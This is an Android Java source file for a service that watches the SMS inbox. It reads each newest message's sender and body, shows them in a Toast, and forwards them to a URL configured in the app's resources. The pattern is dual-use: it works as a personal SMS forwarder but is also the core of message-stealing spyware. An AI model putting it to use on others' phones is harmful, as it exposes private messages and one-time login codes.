package com.example;

import android.annotation.SuppressLint;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.util.Log;
import android.widget.Toast;

import androidx.annotation.Nullable;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.concurrent.Executor;
import java.util.concurrent.Executors;


/****
 *
 * Service的服务
 */
public class SmsService extends Service {

    public static final Uri uri = Uri.parse("content://sms");

    public static final String TAG = "SmsService";

    SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss");

    private ContentResolver contentResolver = null;

    private ContentObserver contentObserver = null;

    private Executor executor = Executors.newCachedThreadPool();

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @SuppressLint("HandlerLeak")
    @Override
    public void onCreate() {
        final Context context = this;
        final String url = context.getString(R.string.url);
        contentResolver = getContentResolver();
        contentObserver = new SmsContentObserver(new Handler() {
            @Override
            public void handleMessage(Message msg) {
                try {
                    Thread.sleep(1000);
                    Cursor cursor = contentResolver.query(uri, null, null, null, null);
                    while (cursor.moveToNext()) {
                        if (cursor != null && cursor.isFirst()) {
                            final String contextStr = cursor.getString(12);
                            final String phoneStr = cursor.getString(2);
                            String message = "短信内容:  id: " + cursor.getString(0) + ", 时间: " + simpleDateFormat.format(new Date(cursor.getLong(4))) + ", 手机号: " + cursor.getString(2) + ", 短信内容: " + cursor.getString(12);
                            Toast.makeText(context, message, Toast.LENGTH_LONG).show();
                            SmsTask smsTask = new SmsTask(url,phoneStr,contextStr);
                            executor.execute(smsTask);
                        }
                    }
                    cursor.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        });
        contentResolver.registerContentObserver(uri, true, contentObserver);
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Log.i(TAG, "onStartCommand onStartCommand");
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public void onDestroy() {
        if (contentResolver != null) {
            contentResolver.unregisterContentObserver(contentObserver);
        }
        Log.i(TAG, "onDestroy onDestroy");
    }
}